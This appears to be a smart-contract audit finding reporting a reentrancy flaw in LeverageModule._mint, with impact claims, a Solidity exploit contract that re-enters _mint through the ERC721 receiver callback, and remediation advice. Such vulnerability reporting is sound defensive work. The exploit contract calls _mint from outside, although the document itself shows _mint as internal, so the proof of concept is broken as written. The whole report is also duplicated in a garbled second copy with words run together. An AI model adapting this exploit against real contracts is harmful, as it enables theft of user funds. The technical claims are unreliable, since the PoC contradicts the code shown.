Reentrancy Vulnerability in LeverageModule._mint(address) Leading to Loss of Fund, Double Spending and Spend Manipulation
Summary
The function _mint in the LeverageModule contract is vulnerable to reentrancy attacks due to an external call to the _safeMint function, which may invoke a callback function in the recipient contract (IERC721Receiver). If the recipient contract executes malicious code during the callback, it could manipulate the state of the LeverageModule contract or other contracts interacting with it.
Vulnerability Detail
Impact
State Manipulation: Attackers could exploit this vulnerability to manipulate critical state variables such as tokenIdNext.
Double-Spending: Reentrancy attacks might allow an attacker to mint the same token ID multiple times or transfer it multiple times, leading to double-spending issues.
Loss of Funds: If the vulnerability is exploited, users or the contract could face loss of assets, either directly or indirectly.
Deploy the Malicious Contract: Create a malicious contract that implements the IERC721Receiver interface. In the onERC721Received function, include a callback that calls back into the _mint function of the LeverageModule contract.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "./LeverageModule.sol";
contract MaliciousContract is IERC721Receiver {
LeverageModule public leverageModule;
constructor(address _leverageModule) {
leverageModule = LeverageModule(_leverageModule);
}
// Implement IERC721Receiver's onERC721Received function
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external override returns (bytes4) {
// Exploit: reenter the leverageModule's _mint function
// NOTE: The conditions for reentry and parameters should be controlled
leverageModule._mint(address(this));
// Return the function selector for ERC721 acceptance
return this.onERC721Received.selector;
}
// Function to initiate the reentrancy attack
function exploit() external {
// Call the _mint function from LeverageModule
leverageModule._mint(address(this));
}
}
Tool used
Slither
Manual Review
Recommendation
Add a reentrancy guard to the _mint function to prevent multiple invocations of the function in the same transaction.
Add nonReentrant modifier from OpenZeppelin's ReentrancyGuard contract to the _mint function signature:
function _mint(address _to) internal nonReentrant {
}
Avoid or minimize external calls within critical functions. In this case, you could consider using _mint instead of _safeMint if you can assume the recipient contract is always safe
Update state variables before performing external calls to reduce the attack surface. Move the increment of tokenIdNext (tokenIdNext += 1;) to a point before the call to _safeMint.
Ensure that the recipient contract is a legitimate IERC721Receiver implementation and handle any unexpected behavior gracefully.
BZ
high
Reentrancy Vulnerability in
LeverageModule._mint(address)
Leading to Loss of Fund, Double Spending and Spend ManipulationSummary
The function
_mint
in theLeverageModule
contract is vulnerable to reentrancy attacks due to an external call to the_safeMint
function, which may invoke a callback function in the recipient contract (IERC721Receiver
). If the recipient contract executes malicious code during the callback, it could manipulate the state of theLeverageModule
contract or other contracts interacting with it.Vulnerability Detail
Impact
State Manipulation: Attackers could exploit this vulnerability to manipulate critical state variables such as
tokenIdNext
.Double-Spending: Reentrancy attacks might allow an attacker to mint the same token ID multiple times or transfer it multiple times, leading to double-spending issues.
Loss of Funds: If the vulnerability is exploited, users or the contract could face loss of assets, either directly or indirectly.
Code Snippet
https://github.com/sherlock-audit/2024-03-flat-money-fix-review-contest/blob/main/flatcoin-v1/src/LeverageModule.sol#L502
Proof of Concept
LeverageModule
ContractTool used
Slither Manual Review
Recommendation
_mint
function to prevent multiple invocations of the function in the same transaction.Add
nonReentrant
modifier from OpenZeppelin's ReentrancyGuard contract to the_mint
function signature:Avoid or minimize external calls within critical functions. In this case, you could consider using _mint instead of _safeMint if you can assume the recipient contract is always safe
Update state variables before performing external calls to reduce the attack surface. Move the increment of
tokenIdNext
(tokenIdNext += 1;
) to a point before the call to_safeMint
.Ensure that the recipient contract is a legitimate
IERC721Receiver
implementation and handle any unexpected behavior gracefully.